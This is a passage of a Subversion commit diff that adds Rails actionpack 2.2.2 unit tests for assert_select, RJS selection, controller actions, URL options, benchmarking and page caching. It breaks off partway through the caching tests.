+      end
+      @update = nil
+    end
+
+    def xml()
+      render :text=>@content, :layout=>false, :content_type=>Mime::XML
+      @content = nil
+    end
+
+    def rescue_action(e)
+      raise e
+    end
+  end
+
+  class AssertSelectMailer < ActionMailer::Base
+    def test(html)
+      recipients "test <test at test.host>"
+      from "test at test.host"
+      subject "Test e-mail"
+      part :content_type=>"text/html", :body=>html
+    end
+  end
+
+  AssertionFailedError = Test::Unit::AssertionFailedError
+
+  def setup
+    @controller = AssertSelectController.new
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+    ActionMailer::Base.delivery_method = :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.deliveries = []
+  end
+
+  def teardown
+    ActionMailer::Base.deliveries.clear
+  end
+
+  def assert_failure(message, &block)
+    e = assert_raises(AssertionFailedError, &block)
+    assert_match(message, e.message) if Regexp === message
+    assert_equal(message, e.message) if String === message
+  end
+
+  #
+  # Test assert select.
+  #
+
+  def test_assert_select
+    render_html %Q{<div id="1"></div><div id="2"></div>}
+    assert_select "div", 2
+    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) { assert_select "div", 3 }
+    assert_failure(/Expected at least 1 element matching \"p\", found 0/) { assert_select "p" }
+  end
+
+  def test_equality_true_false
+    render_html %Q{<div id="1"></div><div id="2"></div>}
+    assert_nothing_raised               { assert_select "div" }
+    assert_raises(AssertionFailedError) { assert_select "p" }
+    assert_nothing_raised               { assert_select "div", true }
+    assert_raises(AssertionFailedError) { assert_select "p", true }
+    assert_raises(AssertionFailedError) { assert_select "div", false }
+    assert_nothing_raised               { assert_select "p", false }
+  end
+
+  def test_equality_string_and_regexp
+    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+    assert_nothing_raised               { assert_select "div", "foo" }
+    assert_raises(AssertionFailedError) { assert_select "div", "bar" }
+    assert_nothing_raised               { assert_select "div", :text=>"foo" }
+    assert_raises(AssertionFailedError) { assert_select "div", :text=>"bar" }
+    assert_nothing_raised               { assert_select "div", /(foo|bar)/ }
+    assert_raises(AssertionFailedError) { assert_select "div", /foobar/ }
+    assert_nothing_raised               { assert_select "div", :text=>/(foo|bar)/ }
+    assert_raises(AssertionFailedError) { assert_select "div", :text=>/foobar/ }
+    assert_raises(AssertionFailedError) { assert_select "p", :text=>/foobar/ }
+  end
+
+  def test_equality_of_html
+    render_html %Q{<p>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</p>}
+    text = "\"This is not a big problem,\" he said."
+    html = "<em>\"This is <strong>not</strong> a big problem,\"</em> he said."
+    assert_nothing_raised               { assert_select "p", text }
+    assert_raises(AssertionFailedError) { assert_select "p", html }
+    assert_nothing_raised               { assert_select "p", :html=>html }
+    assert_raises(AssertionFailedError) { assert_select "p", :html=>text }
+    # No stripping for pre.
+    render_html %Q{<pre>\n<em>"This is <strong>not</strong> a big problem,"</em> he said.\n</pre>}
+    text = "\n\"This is not a big problem,\" he said.\n"
+    html = "\n<em>\"This is <strong>not</strong> a big problem,\"</em> he said.\n"
+    assert_nothing_raised               { assert_select "pre", text }
+    assert_raises(AssertionFailedError) { assert_select "pre", html }
+    assert_nothing_raised               { assert_select "pre", :html=>html }
+    assert_raises(AssertionFailedError) { assert_select "pre", :html=>text }
+  end
+
+  def test_counts
+    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+    assert_nothing_raised               { assert_select "div", 2 }
+    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
+      assert_select "div", 3
+    end
+    assert_nothing_raised               { assert_select "div", 1..2 }
+    assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
+      assert_select "div", 3..4
+    end
+    assert_nothing_raised               { assert_select "div", :count=>2 }
+    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
+      assert_select "div", :count=>3
+    end
+    assert_nothing_raised               { assert_select "div", :minimum=>1 }
+    assert_nothing_raised               { assert_select "div", :minimum=>2 }
+    assert_failure(/Expected at least 3 elements matching \"div\", found 2/) do
+      assert_select "div", :minimum=>3
+    end
+    assert_nothing_raised               { assert_select "div", :maximum=>2 }
+    assert_nothing_raised               { assert_select "div", :maximum=>3 }
+    assert_failure(/Expected at most 1 element matching \"div\", found 2/) do
+      assert_select "div", :maximum=>1
+    end
+    assert_nothing_raised               { assert_select "div", :minimum=>1, :maximum=>2 }
+    assert_failure(/Expected between 3 and 4 elements matching \"div\", found 2/) do
+      assert_select "div", :minimum=>3, :maximum=>4
+    end
+  end
+
+  def test_substitution_values
+    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+    assert_select "div#?", /\d+/ do |elements|
+      assert_equal 2, elements.size
+    end
+    assert_select "div" do
+      assert_select "div#?", /\d+/ do |elements|
+        assert_equal 2, elements.size
+        assert_select "#1"
+        assert_select "#2"
+      end
+    end
+  end
+
+  def test_nested_assert_select
+    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+    assert_select "div" do |elements|
+      assert_equal 2, elements.size
+      assert_select elements[0], "#1"
+      assert_select elements[1], "#2"
+    end
+    assert_select "div" do
+      assert_select "div" do |elements|
+        assert_equal 2, elements.size
+        # Testing in a group is one thing
+        assert_select "#1,#2"
+        # Testing individually is another.
+        assert_select "#1"
+        assert_select "#2"
+        assert_select "#3", false
+      end
+    end
+
+    assert_failure(/Expected at least 1 element matching \"#4\", found 0\./) do
+      assert_select "div" do
+        assert_select "#4"
+      end
+    end
+  end
+
+  def test_assert_select_text_match
+    render_html %Q{<div id="1"><span>foo</span></div><div id="2"><span>bar</span></div>}
+    assert_select "div" do
+      assert_nothing_raised               { assert_select "div", "foo" }
+      assert_nothing_raised               { assert_select "div", "bar" }
+      assert_nothing_raised               { assert_select "div", /\w*/ }
+      assert_nothing_raised               { assert_select "div", /\w*/, :count=>2 }
+      assert_raises(AssertionFailedError) { assert_select "div", :text=>"foo", :count=>2 }
+      assert_nothing_raised               { assert_select "div", :html=>"<span>bar</span>" }
+      assert_nothing_raised               { assert_select "div", :html=>"<span>bar</span>" }
+      assert_nothing_raised               { assert_select "div", :html=>/\w*/ }
+      assert_nothing_raised               { assert_select "div", :html=>/\w*/, :count=>2 }
+      assert_raises(AssertionFailedError) { assert_select "div", :html=>"<span>foo</span>", :count=>2 }
+    end
+  end
+
+  # With single result.
+  def test_assert_select_from_rjs_with_single_result
+    render_rjs do |page|
+      page.replace_html "test", "<div id=\"1\">foo</div>\n<div id=\"2\">foo</div>"
+    end
+    assert_select "div" do |elements|
+      assert elements.size == 2
+      assert_select "#1"
+      assert_select "#2"
+    end
+    assert_select "div#?", /\d+/ do |elements|
+      assert_select "#1"
+      assert_select "#2"
+    end
+  end
+
+  # With multiple results.
+  def test_assert_select_from_rjs_with_multiple_results
+    render_rjs do |page|
+      page.replace_html "test", "<div id=\"1\">foo</div>"
+      page.replace_html "test2", "<div id=\"2\">foo</div>"
+    end
+    assert_select "div" do |elements|
+      assert elements.size == 2
+      assert_select "#1"
+      assert_select "#2"
+    end
+  end
+
+  #
+  # Test css_select.
+  #
+
+  def test_css_select
+    render_html %Q{<div id="1"></div><div id="2"></div>}
+    assert 2, css_select("div").size
+    assert 0, css_select("p").size
+  end
+
+  def test_nested_css_select
+    render_html %Q{<div id="1">foo</div><div id="2">foo</div>}
+    assert_select "div#?", /\d+/ do |elements|
+      assert_equal 1, css_select(elements[0], "div").size
+      assert_equal 1, css_select(elements[1], "div").size
+    end
+    assert_select "div" do
+      assert_equal 2, css_select("div").size
+      css_select("div").each do |element|
+        # Testing as a group is one thing
+        assert !css_select("#1,#2").empty?
+        # Testing individually is another
+        assert !css_select("#1").empty?
+        assert !css_select("#2").empty?
+      end
+    end
+  end
+
+  # With one result.
+  def test_css_select_from_rjs_with_single_result
+    render_rjs do |page|
+      page.replace_html "test", "<div id=\"1\">foo</div>\n<div id=\"2\">foo</div>"
+    end
+    assert_equal 2, css_select("div").size
+    assert_equal 1, css_select("#1").size
+    assert_equal 1, css_select("#2").size
+  end
+
+  # With multiple results.
+  def test_css_select_from_rjs_with_multiple_results
+    render_rjs do |page|
+      page.replace_html "test", "<div id=\"1\">foo</div>"
+      page.replace_html "test2", "<div id=\"2\">foo</div>"
+    end
+
+    assert_equal 2, css_select("div").size
+    assert_equal 1, css_select("#1").size
+    assert_equal 1, css_select("#2").size
+  end
+
+  #
+  # Test assert_select_rjs.
+  #
+
+  # Test that we can pick up all statements in the result.
+  def test_assert_select_rjs_picks_up_all_statements
+    render_rjs do |page|
+      page.replace "test", "<div id=\"1\">foo</div>"
+      page.replace_html "test2", "<div id=\"2\">foo</div>"
+      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
+    end
+
+    found = false
+    assert_select_rjs do
+      assert_select "#1"
+      assert_select "#2"
+      assert_select "#3"
+      found = true
+    end
+    assert found
+  end
+
+  # Test that we fail if there is nothing to pick.
+  def test_assert_select_rjs_fails_if_nothing_to_pick
+    render_rjs { }
+    assert_raises(AssertionFailedError) { assert_select_rjs }
+  end
+
+  def test_assert_select_rjs_with_unicode
+    # Test that non-ascii characters (which are converted into \uXXXX in RJS) are decoded correctly.
+    render_rjs do |page|
+      page.replace "test", "<div id=\"1\">\343\203\201\343\202\261\343\203\203\343\203\210</div>"
+    end
+    assert_select_rjs do
+      str = "#1"
+      assert_select str, :text => "\343\203\201\343\202\261\343\203\203\343\203\210"
+      assert_select str, "\343\203\201\343\202\261\343\203\203\343\203\210"
+      if str.respond_to?(:force_encoding)
+        str.force_encoding(Encoding::UTF_8)
+        assert_select str, /\343\203\201..\343\203\210/u
+        assert_raises(AssertionFailedError) { assert_select str, /\343\203\201.\343\203\210/u }
+      else
+        assert_select str, Regexp.new("\343\203\201..\343\203\210",0,'U')
+        assert_raises(AssertionFailedError) { assert_select str, Regexp.new("\343\203\201.\343\203\210",0,'U') }
+      end
+    end
+  end
+
+  def test_assert_select_rjs_with_id
+    # Test that we can pick up all statements in the result.
+    render_rjs do |page|
+      page.replace "test1", "<div id=\"1\">foo</div>"
+      page.replace_html "test2", "<div id=\"2\">foo</div>"
+      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
+    end
+    assert_select_rjs "test1" do
+      assert_select "div", 1
+      assert_select "#1"
+    end
+    assert_select_rjs "test2" do
+      assert_select "div", 1
+      assert_select "#2"
+    end
+    assert_select_rjs "test3" do
+      assert_select "div", 1
+      assert_select "#3"
+    end
+    assert_raises(AssertionFailedError) { assert_select_rjs "test4" }
+  end
+
+  def test_assert_select_rjs_for_replace
+    render_rjs do |page|
+      page.replace "test1", "<div id=\"1\">foo</div>"
+      page.replace_html "test2", "<div id=\"2\">foo</div>"
+      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
+    end
+    # Replace.
+    assert_select_rjs :replace do
+      assert_select "div", 1
+      assert_select "#1"
+    end
+    assert_select_rjs :replace, "test1" do
+      assert_select "div", 1
+      assert_select "#1"
+    end
+    assert_raises(AssertionFailedError) { assert_select_rjs :replace, "test2" }
+    # Replace HTML.
+    assert_select_rjs :replace_html do
+      assert_select "div", 1
+      assert_select "#2"
+    end
+    assert_select_rjs :replace_html, "test2" do
+      assert_select "div", 1
+      assert_select "#2"
+    end
+    assert_raises(AssertionFailedError) { assert_select_rjs :replace_html, "test1" }
+  end
+
+  def test_assert_select_rjs_for_chained_replace
+    render_rjs do |page|
+      page['test1'].replace "<div id=\"1\">foo</div>"
+      page['test2'].replace_html "<div id=\"2\">foo</div>"
+      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
+    end
+    # Replace.
+    assert_select_rjs :chained_replace do
+      assert_select "div", 1
+      assert_select "#1"
+    end
+    assert_select_rjs :chained_replace, "test1" do
+      assert_select "div", 1
+      assert_select "#1"
+    end
+    assert_raises(AssertionFailedError) { assert_select_rjs :chained_replace, "test2" }
+    # Replace HTML.
+    assert_select_rjs :chained_replace_html do
+      assert_select "div", 1
+      assert_select "#2"
+    end
+    assert_select_rjs :chained_replace_html, "test2" do
+      assert_select "div", 1
+      assert_select "#2"
+    end
+    assert_raises(AssertionFailedError) { assert_select_rjs :replace_html, "test1" }
+  end
+
+  # Simple remove
+  def test_assert_select_rjs_for_remove
+    render_rjs do |page|
+      page.remove "test1"
+    end
+
+    assert_select_rjs :remove, "test1"
+  end
+
+  def test_assert_select_rjs_for_remove_offers_useful_error_when_assertion_fails
+    render_rjs do |page|
+      page.remove "test_with_typo"
+    end
+
+    assert_select_rjs :remove, "test1"
+
+    rescue Test::Unit::AssertionFailedError
+      assert_equal "No RJS statement that removes 'test1' was rendered.", $!.message
+  end
+
+  def test_assert_select_rjs_for_remove_ignores_block
+    render_rjs do |page|
+      page.remove "test1"
+    end
+
+    assert_nothing_raised do
+      assert_select_rjs :remove, "test1" do
+        assert_select "p"
+      end
+    end
+  end
+
+  # Simple show
+  def test_assert_select_rjs_for_show
+    render_rjs do |page|
+      page.show "test1"
+    end
+
+    assert_select_rjs :show, "test1"
+  end
+
+  def test_assert_select_rjs_for_show_offers_useful_error_when_assertion_fails
+    render_rjs do |page|
+      page.show "test_with_typo"
+    end
+
+    assert_select_rjs :show, "test1"
+
+    rescue Test::Unit::AssertionFailedError
+      assert_equal "No RJS statement that shows 'test1' was rendered.", $!.message
+  end
+
+  def test_assert_select_rjs_for_show_ignores_block
+    render_rjs do |page|
+      page.show "test1"
+    end
+
+    assert_nothing_raised do
+      assert_select_rjs :show, "test1" do
+        assert_select "p"
+      end
+    end
+  end
+
+  # Simple hide
+  def test_assert_select_rjs_for_hide
+    render_rjs do |page|
+      page.hide "test1"
+    end
+
+    assert_select_rjs :hide, "test1"
+  end
+
+  def test_assert_select_rjs_for_hide_offers_useful_error_when_assertion_fails
+    render_rjs do |page|
+      page.hide "test_with_typo"
+    end
+
+    assert_select_rjs :hide, "test1"
+
+    rescue Test::Unit::AssertionFailedError
+      assert_equal "No RJS statement that hides 'test1' was rendered.", $!.message
+  end
+
+  def test_assert_select_rjs_for_hide_ignores_block
+    render_rjs do |page|
+      page.hide "test1"
+    end
+
+    assert_nothing_raised do
+      assert_select_rjs :hide, "test1" do
+        assert_select "p"
+      end
+    end
+  end
+
+  # Simple toggle
+  def test_assert_select_rjs_for_toggle
+    render_rjs do |page|
+      page.toggle "test1"
+    end
+
+    assert_select_rjs :toggle, "test1"
+  end
+
+  def test_assert_select_rjs_for_toggle_offers_useful_error_when_assertion_fails
+    render_rjs do |page|
+      page.toggle "test_with_typo"
+    end
+
+    assert_select_rjs :toggle, "test1"
+
+    rescue Test::Unit::AssertionFailedError
+      assert_equal "No RJS statement that toggles 'test1' was rendered.", $!.message
+  end
+
+  def test_assert_select_rjs_for_toggle_ignores_block
+    render_rjs do |page|
+      page.toggle "test1"
+    end
+
+    assert_nothing_raised do
+      assert_select_rjs :toggle, "test1" do
+        assert_select "p"
+      end
+    end
+  end
+
+  # Non-positioned insert.
+  def test_assert_select_rjs_for_nonpositioned_insert
+    render_rjs do |page|
+      page.replace "test1", "<div id=\"1\">foo</div>"
+      page.replace_html "test2", "<div id=\"2\">foo</div>"
+      page.insert_html :top, "test3", "<div id=\"3\">foo</div>"
+    end
+    assert_select_rjs :insert_html do
+      assert_select "div", 1
+      assert_select "#3"
+    end
+    assert_select_rjs :insert_html, "test3" do
+      assert_select "div", 1
+      assert_select "#3"
+    end
+    assert_raises(AssertionFailedError) { assert_select_rjs :insert_html, "test1" }
+  end
+
+  # Positioned insert.
+  def test_assert_select_rjs_for_positioned_insert
+    render_rjs do |page|
+      page.insert_html :top, "test1", "<div id=\"1\">foo</div>"
+      page.insert_html :bottom, "test2", "<div id=\"2\">foo</div>"
+      page.insert_html :before, "test3", "<div id=\"3\">foo</div>"
+      page.insert_html :after, "test4", "<div id=\"4\">foo</div>"
+    end
+    assert_select_rjs :insert, :top do
+      assert_select "div", 1
+      assert_select "#1"
+    end
+    assert_select_rjs :insert, :bottom do
+      assert_select "div", 1
+      assert_select "#2"
+    end
+    assert_select_rjs :insert, :before do
+      assert_select "div", 1
+      assert_select "#3"
+    end
+    assert_select_rjs :insert, :after do
+      assert_select "div", 1
+      assert_select "#4"
+    end
+    assert_select_rjs :insert_html do
+      assert_select "div", 4
+    end
+  end
+
+  def test_assert_select_rjs_raise_errors
+    assert_raises(ArgumentError) { assert_select_rjs(:destroy) }
+    assert_raises(ArgumentError) { assert_select_rjs(:insert, :left) }
+  end
+
+  # Simple selection from a single result.
+  def test_nested_assert_select_rjs_with_single_result
+    render_rjs do |page|
+      page.replace_html "test", "<div id=\"1\">foo</div>\n<div id=\"2\">foo</div>"
+    end
+
+    assert_select_rjs "test" do |elements|
+      assert_equal 2, elements.size
+      assert_select "#1"
+      assert_select "#2"
+    end
+  end
+
+  # Deal with two results.
+  def test_nested_assert_select_rjs_with_two_results
+    render_rjs do |page|
+      page.replace_html "test", "<div id=\"1\">foo</div>"
+      page.replace_html "test2", "<div id=\"2\">foo</div>"
+    end
+
+    assert_select_rjs "test" do |elements|
+      assert_equal 1, elements.size
+      assert_select "#1"
+    end
+
+    assert_select_rjs "test2" do |elements|
+      assert_equal 1, elements.size
+      assert_select "#2"
+    end
+  end
+
+  def test_feed_item_encoded
+    render_xml <<-EOF
+<rss version="2.0">
+  <channel>
+    <item>
+      <description>
+        <![CDATA[
+          <p>Test 1</p>
+        ]]>
+      </description>
+    </item>
+    <item>
+      <description>
+        <![CDATA[
+          <p>Test 2</p>
+        ]]>
+      </description>
+    </item>
+  </channel>
+</rss>
+EOF
+    assert_select "channel item description" do
+      # Test element regardless of wrapper.
+      assert_select_encoded do
+        assert_select "p", :count=>2, :text=>/Test/
+      end
+      # Test through encoded wrapper.
+      assert_select_encoded do
+        assert_select "encoded p", :count=>2, :text=>/Test/
+      end
+      # Use :root instead (recommended)
+      assert_select_encoded do
+        assert_select ":root p", :count=>2, :text=>/Test/
+      end
+      # Test individually.
+      assert_select "description" do |elements|
+        assert_select_encoded elements[0] do
+          assert_select "p", "Test 1"
+        end
+        assert_select_encoded elements[1] do
+          assert_select "p", "Test 2"
+        end
+      end
+    end
+
+    # Test that we only un-encode element itself.
+    assert_select "channel item" do
+      assert_select_encoded do
+        assert_select "p", 0
+      end
+    end
+  end
+
+  #
+  # Test assert_select_email
+  #
+
+  def test_assert_select_email
+    assert_raises(AssertionFailedError) { assert_select_email {} }
+    AssertSelectMailer.deliver_test "<div><p>foo</p><p>bar</p></div>"
+    assert_select_email do
+      assert_select "div:root" do
+        assert_select "p:first-child", "foo"
+        assert_select "p:last-child", "bar"
+      end
+    end
+  end
+
+  protected
+    def render_html(html)
+      @controller.response_with = html
+      get :html
+    end
+
+    def render_rjs(&block)
+      @controller.response_with &block
+      get :rjs
+    end
+
+    def render_xml(xml)
+      @controller.response_with = xml
+      get :xml
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/base_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/base_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/base_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,219 @@
+require 'abstract_unit'
+require 'pp' # require 'pp' early to prevent hidden_methods from not picking up the pretty-print methods until too late
+
+# Provide some controller to run the tests on.
+module Submodule
+  class ContainedEmptyController < ActionController::Base
+  end
+  class ContainedNonEmptyController < ActionController::Base
+    def public_action
+      render :nothing => true
+    end
+    
+    hide_action :hidden_action
+    def hidden_action
+      raise "Noooo!"
+    end
+    
+    def another_hidden_action
+    end
+    hide_action :another_hidden_action
+  end
+  class SubclassedController < ContainedNonEmptyController
+    hide_action :public_action # Hiding it here should not affect the superclass.
+  end
+end
+class EmptyController < ActionController::Base
+end
+class NonEmptyController < ActionController::Base
+  def public_action
+  end
+  
+  hide_action :hidden_action
+  def hidden_action
+  end
+end
+
+class MethodMissingController < ActionController::Base
+  
+  hide_action :shouldnt_be_called
+  def shouldnt_be_called
+    raise "NO WAY!"
+  end
+  
+protected
+  
+  def method_missing(selector)
+    render :text => selector.to_s
+  end
+  
+end
+
+class DefaultUrlOptionsController < ActionController::Base
+  def default_url_options_action
+  end
+
+  def default_url_options(options = nil)
+    { :host => 'www.override.com', :action => 'new', :bacon => 'chunky' }
+  end
+end
+
+class ControllerClassTests < Test::Unit::TestCase
+  def test_controller_path
+    assert_equal 'empty', EmptyController.controller_path
+    assert_equal EmptyController.controller_path, EmptyController.new.controller_path
+    assert_equal 'submodule/contained_empty', Submodule::ContainedEmptyController.controller_path
+    assert_equal Submodule::ContainedEmptyController.controller_path, Submodule::ContainedEmptyController.new.controller_path
+  end
+  def test_controller_name
+    assert_equal 'empty', EmptyController.controller_name
+    assert_equal 'contained_empty', Submodule::ContainedEmptyController.controller_name
+ end
+end
+
+class ControllerInstanceTests < Test::Unit::TestCase
+  def setup
+    @empty = EmptyController.new
+    @contained = Submodule::ContainedEmptyController.new
+    @empty_controllers = [@empty, @contained, Submodule::SubclassedController.new]
+    
+    @non_empty_controllers = [NonEmptyController.new,
+                              Submodule::ContainedNonEmptyController.new]
+  end
+
+  def test_action_methods
+    @empty_controllers.each do |c|
+      hide_mocha_methods_from_controller(c)
+      assert_equal Set.new, c.__send__(:action_methods), "#{c.controller_path} should be empty!"
+    end
+    @non_empty_controllers.each do |c|
+      hide_mocha_methods_from_controller(c)
+      assert_equal Set.new(%w(public_action)), c.__send__(:action_methods), "#{c.controller_path} should not be empty!"
+    end
+  end
+
+  protected
+    # Mocha adds some public instance methods to Object that would be
+    # considered actions, so explicitly hide_action them.
+    def hide_mocha_methods_from_controller(controller)
+      mocha_methods = [
+        :expects, :mocha, :mocha_inspect, :reset_mocha, :stubba_object,
+        :stubba_method, :stubs, :verify, :__metaclass__, :__is_a__, :to_matcher,
+      ]
+      controller.class.__send__(:hide_action, *mocha_methods)
+    end
+end
+
+
+class PerformActionTest < Test::Unit::TestCase
+  class MockLogger
+    attr_reader :logged
+
+    def initialize
+      @logged = []
+    end
+
+    def method_missing(method, *args)
+      @logged << args.first
+    end
+  end
+
+  def use_controller(controller_class)
+    @controller = controller_class.new
+
+    # enable a logger so that (e.g.) the benchmarking stuff runs, so we can get
+    # a more accurate simulation of what happens in "real life".
+    @controller.logger = Logger.new(nil)
+
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+
+    @request.host = "www.nextangle.com"
+  end
+  
+  def test_get_on_priv_should_show_selector
+    use_controller MethodMissingController
+    get :shouldnt_be_called
+    assert_response :success
+    assert_equal 'shouldnt_be_called', @response.body
+  end
+  
+  def test_method_missing_is_not_an_action_name
+    use_controller MethodMissingController
+    assert ! @controller.__send__(:action_methods).include?('method_missing')
+    
+    get :method_missing
+    assert_response :success
+    assert_equal 'method_missing', @response.body
+  end
+  
+  def test_get_on_hidden_should_fail
+    use_controller NonEmptyController
+    get :hidden_action
+    assert_response 404
+    
+    get :another_hidden_action
+    assert_response 404
+  end
+
+  def test_namespaced_action_should_log_module_name
+    use_controller Submodule::ContainedNonEmptyController
+    @controller.logger = MockLogger.new
+    get :public_action
+    assert_match /Processing\sSubmodule::ContainedNonEmptyController#public_action/, @controller.logger.logged[1]
+  end
+end
+
+class DefaultUrlOptionsTest < Test::Unit::TestCase
+  def setup
+    @controller = DefaultUrlOptionsController.new
+
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+
+    @request.host = 'www.example.com'
+  end
+
+  def test_default_url_options_are_used_if_set
+    ActionController::Routing::Routes.draw do |map|
+      map.default_url_options 'default_url_options', :controller => 'default_url_options'
+      map.connect ':controller/:action/:id'
+    end
+
+    get :default_url_options_action # Make a dummy request so that the controller is initialized properly.
+
+    assert_equal 'http://www.override.com/default_url_options/new?bacon=chunky', @controller.url_for(:controller => 'default_url_options')
+    assert_equal 'http://www.override.com/default_url_options?bacon=chunky', @controller.send(:default_url_options_url)
+  ensure
+    ActionController::Routing::Routes.load!
+  end
+end
+
+class EmptyUrlOptionsTest < Test::Unit::TestCase
+  def setup
+    @controller = NonEmptyController.new
+
+    @request    = ActionController::TestRequest.new
+    @response   = ActionController::TestResponse.new
+
+    @request.host = 'www.example.com'
+  end
+
+  def test_ensure_url_for_works_as_expected_when_called_with_no_options_if_default_url_options_is_not_set
+    get :public_action
+    assert_equal "http://www.example.com/non_empty/public_action", @controller.url_for
+  end
+end
+
+class EnsureNamedRoutesWorksTicket22BugTest < Test::Unit::TestCase
+  def test_named_routes_still_work
+    ActionController::Routing::Routes.draw do |map|
+      map.resources :things
+    end
+    EmptyController.send :include, ActionController::UrlWriter
+
+    assert_equal '/things', EmptyController.new.send(:things_path)
+  ensure
+    ActionController::Routing::Routes.load!
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/benchmark_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/benchmark_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/benchmark_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+require 'abstract_unit'
+
+# Provide some static controllers.
+class BenchmarkedController < ActionController::Base
+  def public_action
+    render :nothing => true
+  end
+
+  def rescue_action(e)
+    raise e
+  end
+end
+
+class BenchmarkTest < Test::Unit::TestCase
+  class MockLogger
+    def method_missing(*args)
+    end
+  end
+
+  def setup
+    @controller = BenchmarkedController.new
+    # benchmark doesn't do anything unless a logger is set
+    @controller.logger = MockLogger.new
+    @request, @response = ActionController::TestRequest.new, ActionController::TestResponse.new
+    @request.host = "test.actioncontroller.i"
+  end
+
+  def test_with_http_1_0_request
+    @request.host = nil
+    assert_nothing_raised { get :public_action }
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/caching_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/caching_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/controller/caching_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,680 @@
+require 'fileutils'
+require 'abstract_unit'
+
+CACHE_DIR = 'test_cache'
+# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
+FILE_STORE_PATH = File.join(File.dirname(__FILE__), '/../temp/', CACHE_DIR)
+ActionController::Base.page_cache_directory = FILE_STORE_PATH
+ActionController::Base.cache_store = :file_store, FILE_STORE_PATH
+
+class PageCachingTestController < ActionController::Base
+  caches_page :ok, :no_content, :if => Proc.new { |c| !c.request.format.json? }
+  caches_page :found, :not_found
+
+  def ok
+    head :ok
+  end
+
+  def no_content
+    head :no_content
+  end
+
+  def found
+    redirect_to :action => 'ok'
+  end
+
+  def not_found
+    head :not_found
+  end
+
+  def custom_path
+    render :text => "Super soaker"
+    cache_page("Super soaker", "/index.html")
+  end
+
+  def expire_custom_path
+    expire_page("/index.html")
+    head :ok
+  end
+
+  def trailing_slash
+    render :text => "Sneak attack"
+  end
+end
+
+class PageCachingTest < Test::Unit::TestCase
+  def setup
+    ActionController::Base.perform_caching = true
+
+    ActionController::Routing::Routes.draw do |map|
+      map.main '', :controller => 'posts'
+      map.resources :posts
+      map.connect ':controller/:action/:id'
+    end
+
+    @request = ActionController::TestRequest.new
+    @request.host = 'hostname.com'
+
+    @response   = ActionController::TestResponse.new
+    @controller = PageCachingTestController.new
+
+    @params = {:controller => 'posts', :action => 'index', :only_path => true, :skip_relative_url_root => true}
+    @rewriter = ActionController::UrlRewriter.new(@request, @params)
+
+    FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
+    FileUtils.mkdir_p(FILE_STORE_PATH)
+  end
+
+  def teardown
+    FileUtils.rm_rf(File.dirname(FILE_STORE_PATH))
+
+    ActionController::Base.perform_caching = false
+  end
+
+  def test_page_caching_resources_saves_to_correct_path_with_extension_even_if_default_route
+    @params[:format] = 'rss'
+    assert_equal '/posts.rss', @rewriter.rewrite(@params)
+    @params[:format] = nil
+    assert_equal '/', @rewriter.rewrite(@params)
+  end
+
+  def test_should_cache_get_with_ok_status
+    get :ok
+    assert_response :ok
+    assert_page_cached :ok, "get with ok status should have been cached"
+  end
+
+  def test_should_cache_with_custom_path
+    get :custom_path
+    assert File.exist?("#{FILE_STORE_PATH}/index.html")
+  end
+
+  def test_should_expire_cache_with_custom_path
+    get :custom_path
+    assert File.exist?("#{FILE_STORE_PATH}/index.html")
+
+    get :expire_custom_path
+    assert !File.exist?("#{FILE_STORE_PATH}/index.html")
+  end
+
+  def test_should_cache_without_trailing_slash_on_url
+    @controller.class.cache_page 'cached content', '/page_caching_test/trailing_slash'
+    assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/trailing_slash.html")
+  end
+
+  def test_should_cache_with_trailing_slash_on_url
+    @controller.class.cache_page 'cached content', '/page_caching_test/trailing_slash/'
+    assert File.exist?("#{FILE_STORE_PATH}/page_caching_test/trailing_slash.html")
+  end
+
+  uses_mocha("should_cache_ok_at_custom_path") do
+    def test_should_cache_ok_at_custom_path
+      @request.stubs(:path).returns("/index.html")
+      get :ok
+      assert_response :ok
+      assert File.exist?("#{FILE_STORE_PATH}/index.html")
+    end
+  end
+
+  [:ok, :no_content, :found, :not_found].each do |status|
+    [:get, :post, :put, :delete].each do |method|
+      unless method == :get and status == :ok
+        define_method "test_shouldnt_cache_#{method}_with_#{status}_status" do
+          @request.env['REQUEST_METHOD'] = method.to_s.upcase
+          process status
+          assert_response status
+          assert_page_not_cached status, "#{method} with #{status} status shouldn't have been cached"
+        end
